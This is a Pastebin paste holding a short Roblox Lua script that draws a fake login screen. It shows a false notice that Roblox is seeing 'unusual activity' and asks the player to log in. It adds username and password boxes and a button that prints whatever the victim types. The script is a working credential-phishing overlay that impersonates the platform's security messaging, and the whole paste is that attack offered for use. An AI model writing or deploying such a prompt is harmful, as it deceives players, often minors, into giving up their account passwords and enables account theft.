Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Text = [[
- Roblox is currently going under
- a unusual range of activity.
- Please login from here!
- ]]
- gui = Instance.new("ScreenGui",game.CoreGui)
- Tx = Instance.new("TextLabel",gui)
- Tx.Text = Text
- Tx.TextXAlignment = "Left"
- Tx.TextYAlignment = "Top"
- Tx.BackgroundTransparency = 1
- Tx.Position = UDim2.new(1, -460, 0, 0)
- Tx.FontSize = "Size18"
- User = Instance.new("TextBox",gui)
- User.Position = UDim2.new(0, 200, 0, 100)
- User.Text = "Username"
- Pass = Instance.new("TextBox",gui)
- Pass.Position = UDim2.new(0, 200, 0, 150)
- Pass.Text = "Password"
- User.BorderSizePixel = 0
- Pass.BorderSizePixel = 0
- Login = Instance.new("TextButton",gui)
- Login.Position = UDim2.new(0, 200, 0, 200)
- Login.Text = "Login"
- Login.BorderSizePixel = 0
- User.Size = UDim2.new(0, 200, 0, 50)
- Pass.Size = UDim2.new(0, 200, 0, 50)
- Login.Size = UDim2.new(0, 200, 0, 50)
- function click()
- print("Username: "..User.Text)
- print("Password: "..Pass.Text)
- end
- Login.MouseButton1Down:connect(click)
Add Comment
Please, Sign In to add comment